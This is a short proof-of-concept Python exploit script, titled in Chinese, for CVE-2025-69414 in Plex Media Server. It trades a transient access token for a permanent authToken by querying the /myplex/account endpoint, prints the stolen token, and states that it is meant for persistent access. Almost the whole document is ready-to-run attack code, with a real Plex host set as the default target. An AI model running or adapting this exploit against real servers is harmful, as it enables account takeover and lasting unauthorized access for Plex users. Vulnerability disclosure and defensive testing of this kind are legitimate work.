CVE-2025-69414 Plex Media Server 永久访问令牌泄露漏洞

import requests import json # CVE-2025-69414 PoC - Plex Media Server Permanent Access Token Leak # Description: Exploit the /myplex/account endpoint to retrieve permanent token using transient token def exploit_plex_token_leak(plex_server_url, transient_token): """ Exploit CVE-2025-69414 to obtain permanent access token Args: plex_server_url: Target Plex Media Server URL (e.g., 'https://plex.tv') transient_token: Valid transient/short-lived access token Returns: Permanent access token if exploit successful, None otherwise """ headers = { 'X-Plex-Product': 'Plex API', 'X-Plex-Version': '1.0', 'X-Plex-Client-Identifier': 'CVE-2025-69414-POC', 'Authorization': f'Bearer {transient_token}' } try: # Target endpoint that leaks permanent token response = requests.get( f'{plex_server_url}/myplex/account', headers=headers, timeout=10 ) if response.status_code == 200: data = response.json() # Extract permanent token from response if 'user' in data and 'authToken' in data['user']: permanent_token = data['user']['authToken'] print(f'[+] Permanent Token Obtained: {permanent_token}') return permanent_token print('[-] Exploit failed - check token or endpoint') return None except requests.exceptions.RequestException as e: print(f'[-] Request error: {e}') return None # Example usage if __name__ == '__main__': target = 'https://plex.tv' # Replace with actual transient token obtained through other means transient_token = 'TRANSIENT_TOKEN_HERE' permanent_token = exploit_plex_token_leak(target, transient_token) if permanent_token: print('[+] Exploit successful - use token for persistent access')